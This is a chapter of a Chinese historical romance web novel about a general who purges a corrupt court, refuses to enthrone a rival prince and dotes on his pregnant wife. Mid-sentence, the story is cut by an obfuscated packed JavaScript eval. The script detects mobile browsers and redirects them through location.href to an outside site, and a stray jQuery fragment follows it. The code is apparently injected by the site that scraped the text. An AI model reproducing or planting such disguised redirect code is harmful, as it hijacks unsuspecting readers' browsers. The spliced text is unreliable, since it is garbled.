平川将军挥师入京剿逆，拨乱反正，京城百姓无不赞颂其威名，纷纷夹道欢迎，一复当年盛况。


    九重天阙，风云易变，权力的更迭也不过是在短短两息之内。


    此前皇位空悬，太子不知所踪，长公主临朝称政，诸位阁老和六部重臣力挽狂澜，保下了李氏正统的地位，本来也不过是缓兵之计，贺绍的野心欲壑难填，不登帝位誓不罢休，谁料半途花栩倒戈，六部大臣顺杆往上爬，亲手给贺绍喂了十日枯，掩埋这个不见天日的秘密。


    禁中“失守”后，又传出摄政王畏罪自裁的消息，百姓们无不拍手称快。


    于此同时，就在权力格局风变幻的当下，异样的声音在坊间不胫而走。


    不同于循规蹈矩的世家大族，老百姓可不管这个江山姓甚名谁，圣文帝在世时，的确有过十几年的风调雨顺，安居乐业，可毕竟皇帝已死，又有谁能来还他们一个安稳的太平江山？


    李姓氏族在黎明百姓当中的威严，早就在这波谲云诡的半年内荡然无存。


    长公主临朝称政这半年之中，不仅没有效仿武皇的铁血手腕，整饬吏治，反倒是软弱不堪，朝政大权全然把控在摄政王手中。


    去岁寒冬，各地冬旱频发，朝廷非但没有开仓赈粮，反而四处征兵，鱼肉百姓，百姓们看在眼里，李相宜这个骨子里流着贺家血脉的长公主，空有虚名，不堪重任。


    而相反的是，当他们正处于水深火热之时，是平川将军以天人之姿降临，解救他们于危难之间。


    祝无恙正值二十当年，风华正茂，英姿勃发，势不可挡，又有雄才武略，韬略纵横，乃天下不二之主，众望所归。


    是以，天下即将易主的传闻如燎原之势大肆传播，闹得满城风雨，这可急坏了宫中那些侍李氏为主的大臣们，他们根本摸不准祝无恙的心思，又畏惧雷霆手段的青年将军。


    祝氏世代效忠李氏，放在以往，无一敢质疑祝氏血脉的忠心，可此一时彼一时，沂州一役，圣文帝赶尽杀绝，亲手斩断了自己的后路，死后留下那封告罪书，斩钉截铁将脏水泼给谋逆的贺绍，但明眼人都看得出来，他们侍奉多年的君主，是何等昏聩糊涂！


    一边不共戴天的仇敌，一边是唾手可得的皇位，安能不好抉择？


    更遑论祝无恙领兵入都之后，并没有回平川将军的府邸安顿，反而是携妻子直接住进了信王未就藩之前居住的信阳宫，长公主更是称病不出，躲在长宁殿，撂挑子不管，这不就是把江山拱手让人的意思？


    正可谓识时务者为俊杰，朝中重臣暗自合计一番，决定再行缓兵之计，见风使舵地将原该启奏给长公主的奏折如雪花一般呈递给了信阳宫，又以“觐见”之姿跪拜在信阳宫门口，求他主持大局，以此来探探他夺权的心思。


    果不其然，祝无恙如数接纳了奏折，派出贴身侍卫长风交代跪拜的一众大臣。


    “诸位大人的奏疏我已代为转达给了将军，将军近日公务冗杂、诸事缠身，无法一一接待各位，但会竭尽所能处理好前朝遗留下的沉疴痼疾，各位亦不必行如此大礼。”


    一番言论可谓客气谦顺，大臣们面面相觑，都有些捉摸不清头脑。


    要说祝无恙有夺权的心思，但他偏偏住的是信阳宫，与皇帝的寝殿八竿子打不到一块，也不急于笼络朝臣，培养心腹，民间的呼声正高，若是起了异心的反贼，早就借钦天监之口，伪造天象异兆，为“改朝换代”做铺垫，多少夺权帝王行谶纬之术，他们也见怪不怪了。


    要说他对皇位一点心思也没有，好像也不尽然，上呈的奏疏他照单全收，并承诺改革除弊，分明是效仿历代新登基的帝王，巩固权力，收揽民心。


    遽尔，长风躬身请年事已高的阁老入信阳宫，其余朝臣皆被侍卫劝回，又留了句“诸位只管回府等候消息”，遂转身掩门消失。


    大臣们还未来得及彻底松一口气，又被一句“等候消息”吓得提心吊胆。


    谁也不知道究竟是等什么消息，打道回府后即刻盘算起来自家与祝氏的渊源纠葛，生怕犯过得罪这尊大佛的罪行，不仅清算与自家同宗连枝的门户的案底，凡是沾亲带故的亲戚，只要曾得罪过祝氏一脉或是有过一丝瓜葛，二话不说，纷纷割袍断义自证清白。


    可饶是如此，该来的总归是要来的。


    接下来的时日，对于京城的高官权贵而言，俨然是一场无尽的噩梦。


    官兵抄家门府可不讲究良辰吉时，有时青天白日里就上门将人带走，有时夜半三更和黑白无常索命似的，带着搜捕令一脚踹开府邸的大门，往日雕梁画栋、朱栏玉砌的王公府宅，顷刻间化为一座座鬼气森森的坟墓，一时间秽响萦绕，恶声不绝。


    这事惹不到寻常百姓家的头上，平日最怕沾惹官司的百姓纷纷探出头，饶有兴致八卦着今日哪个王公家又被阎王点了卯，哪个侯爵家又是遭了殃，只道是风水轮流转，盛衰无常。


    以祝无恙的雷霆手段，抓人讲究的是效率，哪能和你多费唇舌，等到了诏狱，何等罪责自见分晓，可偏偏就是有不信邪的，喊冤不成便开始破口大骂，骂祝无恙黑白不分、公报私仇，这无疑是独裁专政的暴君行径！


    吠骂之声还未猖狂几日，刑部那头，苏怀景牵头罗列了被查抄官员的种种罪行，危害皇权、卖官鬻爵、贪墨军饷等等数宗重罪，罄竹难书，有凭有据，一一做成檄文告示，布告在大街小巷，叫得最猖狂的那几位，提早几日押送午门斩首。


    杀鸡儆猴的效果立竿见影，再也不敢有官员及其家属敢诽谤信阳宫的裁决，更有甚者自行陈列罪状，上达视听以求从轻发落，反倒是减少了刑部肩上的重担。


    眼看着掰不过祝无恙，投机取巧者也不在少数，一箱箱价值连城的珠宝箱子以各种门道抬入信阳宫，不消一刻钟的时间就原模原样地搬了回去，行贿不成，反倒是要罪加一等，首当其冲的便是兵部尚书和吏部侍郎。


    他们并非不知道祝无恙的雷厉风行，但身在高位之巅数十年，还是有些底气在的，皇帝动他们之前都得掂量掂量后果，一个后生怎能如此不知分寸？！


    他们与那些五六品官员和虚有其位的侯爵可不同，二品大员，手握权柄，自诩朝廷中流砥柱，放眼望去，朝中谁有能力顶替他们的位置？


    再者说，为官的哪有不受贿的？他们一没有残害百姓，二没有结党营私，何罪之有？！


    是以，当长风奉命查封尚书府，缉捕犯人时，兵部尚书还如在梦中。


    他是老了，但当年也是随先帝一起打过战，杀过人的，骨子里的那点血性和傲骨还在，岂能容许此等肖小蹬鼻子上脸？！


    他挣开左右试图押送他的官兵，刻意昂首挺身，冷哼道：“不亏是祝山的后代，当真是大公无私！谁家府邸没个阴私的事儿？这京中哪个官员敢说自己两袖清风，干干净净？！也就是祝山死了，若他还活着，拜将封侯，也难保不会惹上贪墨官司！”


    入京这大半个月来，长风几乎是没日没夜地连轴转，眼底乌青浮肿，眉间的皱纹凿刻入深，整个人仿佛憔悴了好几岁，他哪知道抓个人比上战场打战还折磨？


    不仅要提防随时有可能“行刺”的家眷，还要忍受无边的谩骂，骂久了耳朵也快要麻木了，谁知这人竟然气急败坏，无端地编排起了老将军来！


    这他可忍不了了，常年训练得面无表情的神色骤然光火大作，冷眼怒道：“天子犯法也与庶民同罪！你拒不认捕，反倒信口污蔑他人，就是罪加一等！若当真是这么记挂老将军，我这就替你在平川将军面前美言几句，让你下去陪老将军作伴也未尝不可！”


    兵部尚书的老脸瞬间化为惨灰，嚣张之色顷刻间灰飞烟灭。


    趁他魂飞魄散之际，长风懒得与他周旋，喝一声：“带走！”


    *


    一场倒春寒，惹得春雪就没消停过，断断续续地下了大半个月。


    各地的旱情因连绵不绝的瑞雪也有了缓解之兆，在融融雪水的滋养下，冰冻干裂的土壤焕发新机，沃土绵延，翠绿的新苗破土而出，干枯的枝丫蹦出簇簇苞芽，已有蓊郁葱茏之势。


    沉寂了十几年的信阳宫俨然成了皇城最有生机的宫殿。


    飞檐拱斗覆了一层新雪，昨夜消融坠滴的雪水，在寒天雪地中冻成银珠似的冰凌，垂挂在屋檐下，屋脊两端鎏金鸱吻在银装素裹的天地中若隐若现。


    琉璃雕花窗在雪幕中折射出流光溢彩，外头的人儿窥不见屋内的景象，却能听见里头似有若无地传出姑娘们的逗趣的笑声，声似清泉漱石，如圆珠叮铛落在玉盘发出的脆响，与这一番新春佳景相得益彰。


    渐渐地，金乌西坠，落日熔金，只见两道倩影从屋内走了出来，女子笑吟吟地挥手告别，逐渐消失在游廊深处。


    另一头，与寝殿隔着一堵高墙的继德堂中。


    祝无恙身着墨色长袍执笔伏案，案边是堆叠如山的奏折，轻烟袅袅，绰绰烛火中，男子身姿挺括，眉眼深邃，鸦黑的睫毛在脸庞上投下浅浅的阴影，双眸快速扫视，笔下锋芒不止，在奏折在圈圈点点，隐隐透着焦躁。


    他的确是有些着急了，急着整饬吏治，将前朝堆积已久的旧患连根拔除，本想着，李玄在位期间，朝中官僚体系膨胀冗余，裁汰一些尸位素餐的冗员并不影响日常运作，甚至还可以彻底根除人浮于事的现象。


    这两日，他又下令抓了几名身居要职的官员，关键的职位一刻也离不开人，有人走了，就要有人填补上，他必须在短期内决定替任的官员，就因这事儿，他连着几日夜不能寐，但又怕惊扰到怀有身孕的妻子，只能合眼假寐，卯时后再起身到继德堂处理公务。


    一想起苏怀黎，祝无恙就忍不住分神，想起那张白皙透亮的粉靥，凝聚霜雪的眉心淡淡地化开，温柔的春意氤氲在眸底，跃然心间。


    太医说，他的妻子已有近两个月的身孕了，每晚他都忍不住轻轻抚摸她还未显怀的小腹，她单薄轻盈的身子在御茶膳坊的精心调理下，渐渐养出丰腴白腻的软肉，肉眼可见地健康红润起来，面若桃花，珠辉玉丽。


    思及此，他疲惫不堪的心态顿时充盈了活力，为了她，他可以无所不能。


    刚入宫时，苏怀黎还总是惴惴难安，这战虽然是胜了，但随之而来的就是无休无止的血雨腥风，多少双眼睛虎视眈眈盯着他们，人言可畏，一步行差踏错唾沫星子就能马上淹死他们。


    罗锦暖帐下，年轻的妻子对他表达了内心的担忧，他的心脏针扎似的疼，她最先担忧的是，祝氏多年积攒的雅望清名，恐有心人恶意污蔑了去，他抬手抚平她眉间细腻的褶皱，落下一吻，叫她放心，他能处理好一切。


    此后，任何风言风语都传不进她的耳朵里，他为她打造了一方暖煦的天地，白日里，季棠和霜月会陪苏怀黎聊天解闷，缓解她因有孕而易多愁善感的心绪，落日后，他抛下一切焦头烂额的政务，门一关，将风雪浓霜与血腥腌臜的俗事隔绝在屋外，全心全意地陪她养胎。


    遽然，漏刻的水声滴答传来，他猛然止住笔尖，深深吐出一口浊气，重重搁下狼毫，将尚未批改完的奏折推至一旁，疾风一般地起身，取了木桁上的大氅披在身上，闯入冰天雪地中，脚底生风，径直朝内院奔去。


    一只脚还没踏入内院，身后传来急躁的男音生生止住了他的动作。


    长风冒着大雪，亦步亦趋地追在他身后：“将军，魏阁老有要事求见您，现在就在继德堂门口等着您。”


    祝无恙面色不耐，大袖一拂：“有什么事不能明早再说？”


    长风亦是无奈，但他心里清楚，魏阁老是两朝重臣，与已逝多年苏太傅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957619|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乃金石之交，在自己主子面前还是有几分薄面的，若是别人他肯定寻个借口就打发了。


    “魏阁老说了，事关李姓藩王，若您今夜执意不肯见他，他便守在继德堂门口等到天亮，阁老毕竟年岁大了，禁不得风霜，若是冻出个好歹来……”


    长风看着自家主子脸色胜似酽霜，阴翳沉重，后半句话也不敢说出口，噤声矗立在一旁，等着他的指示。


    祝无恙抬眼，望向不远处一间供宫女太监躲避风雪的八角亭，自忖一息后，沉声道：“把人请过来吧。”


    *


    朔风凛冽，雪霭沉沉，一方天地间，青年男子负手而立，面前站着一位身形佝偻，但双眸矍铄的老者。


    祝无恙没有吩咐侍卫布茶添水，可见内心多有急躁，不欲延长此次谈话，但还是耐心地听完老者的一番见解。


    魏阁老没有藏着掖着，话里话外的意思也十分清楚，国不可一日无主，将军合该尽早地从李氏宗祠中择一位能者上位，给大乾的朝臣和百姓一个明确的交代。


    前段时日，祝无恙风风火火地肃清吏治，痛革积弊，他也不敢来叨扰信阳宫，如今朝政激浊扬清，百废待兴，也是时候该拥立新主了。


    他一直密切注意着李氏宗祠中才干出众的男子，筛来选去，迟迟未有满意的推举人选。


    这是宣武年间就遗留下的弊端，武康帝在位时，将稳固江山边防视为国之大事，无心后宫繁衍子嗣，唯二的皇嗣皆出皇后膝下，最后还生了兄弟阋墙的阴私事，到了圣文帝更是明里暗里对同宗子弟赶尽杀绝。


    最后，他将目光落在了就藩在西南的临安王。


    临安王乃出自与李氏嫡系最近的旁支一脉，武康帝殁了后，老临安王是除了信王之外，最有资格与圣文帝争夺皇位的王爷，是以早早地被打发去了西南边，远离皇城，几年前，老临安王去世，世子承袭了爵位，成了如今守在西南的临安王。


    圣文帝登基后，大乾朝的藩王制度形同虚设，既无兵也无权，守着那一亩三分地和高贵的姓氏，靠当地百姓缴纳的赋税养着王府上百号人口，西南的临安王也不例外。


    祝无恙焉能不知，魏阁老能选中他当继任君王的人选，无外乎是看重临安王近乎纯正的皇室血统，年轻健康，不乏是可塑之才。


    他听后沉默了一瞬，双眸望向巍峨的宫墙，昏暗的天堑下，皇宫笼罩在一层黯淡的色彩中，置身其中的人犹如封锁在巨大的牢笼。


    片刻后，他唇边扬起似笑非笑的弧度，漆黑如墨的深眸几乎与暗夜融为一体。


    “去岁贺绍起兵，西南灾祸连连，谁又知实乃人祸，而非天灾？临安王远居西南，忌惮贺绍这一异姓逆贼，但苦于无兵无权，无法领兵北上夺回属于李氏江山，这也就罢了，魏阁老可知，后续临安王强制征兵，盘剥百姓，充盈军库，还起了勾结西南小国的心思，妄图趁乱割据一方，成西南霸主。”


    “如今他听闻我领兵清缴异贼，竟还敢打起来皇位的主意，怂恿朝中重臣给我施压，意图不劳而获？他临安王非贤非勇也就罢了，视人命为草芥，毫无怜悯之心，怎能堪当大任？！魏阁老，您是真的老了糊涂了，眼瞎心盲，还是身边被安插了什么居心叵测之人，听信了谗言，拿江山社稷开玩笑？！”


    魏阁老今日信誓旦旦地来信阳宫，有八成的把握劝祝无恙立临安王，谁料被他这一席话震惊得哑口无言，振聋发聩。


    立新皇一事，他敢对天发誓没掺杂半点私心。


    他在朝中呆了大半辈子，思想难免有些迂腐守旧，但这些时日，他亲眼目睹了祝无恙为国为民的手段与决心，并非没有过动摇，可正当他痛定思痛，苦苦坚持的信念摇摇欲坠之际，是礼部尚书丁寿安找上了他，举荐了临安王。


    祝无恙言之凿凿，所言不像是假话，那就只有一个可能……


    他身边被安插的居心叵测之人，除了丁寿安还能有谁？亏他腆着一张老脸来当说客，活该被骂眼瞎心盲，晚节不保！


    祝无恙视线扫过一脸槁木死灰的老者，意识到适才自己那番话说的的确有些重了，但魏阁老是朝中数一数二清正廉洁的好官，不该因为一时着急立主，就受有心之人利用。


    还有一点便是，他实在是想快刀斩乱麻，火速终止这一番谈话。


    就在二人交涉的中途，苏怀黎曾派人出来问询他迟迟未归一事。


    这是第一次他耽搁到酉时还未回内院。


    两人虽同在信阳宫，但宫殿格局庞大，阁楼院落相互错落，丝毫不亚于太子的东宫，他不想将多余的担忧和戾气传递给她，她亦不愿意因着自己怀有身孕让他分神，两人便很默契地在白日各居其所，晚上关起门来，摒弃杂事，好好温存。


    被这么一问，祝无恙便知妻子心里极度挂念他，他晚归一刻，她便多不安一刻，谈话的后半程，他心痒难耐，浮躁不定，一门心思挂在苏怀黎身上，对阁老开口说话的语气也比往日重了不少。


    但事已至此，他也只能叫长风好生送阁老回府，自己匆匆踅足回内院。


    甫一推开门，扑面而来满便是清甜的梨花香，一室暖春芳雅，他胸腔堆积的郁气消散了大半。


    他快步掀开绣百蝶穿花的漳绒帷帐，只见女子身着菡萏色软烟罗绣缠枝芙蓉春衫，似乎是嫌屋内太闷太热，但又怕开窗染了寒气，只将松软宽阔的大袖堆叠系在手腕关节处，露出细白的藕臂。


    祝无恙从身后将女子轻轻抱住，俯身用鼻尖缓缓地蹭她柔腻的脖颈：“都说了今夜不必等我用膳，怎么不听话？”


    这话里是问罪她的意思，但听这温柔狎昵的语气，哪有半分责怪？


    苏怀黎被他蹭得发痒，痴痴地笑，歪着脑袋企图躲避他的得寸进尺，下一瞬就被温柔的力道掰过脑袋，唇瓣贴上细腻的微凉。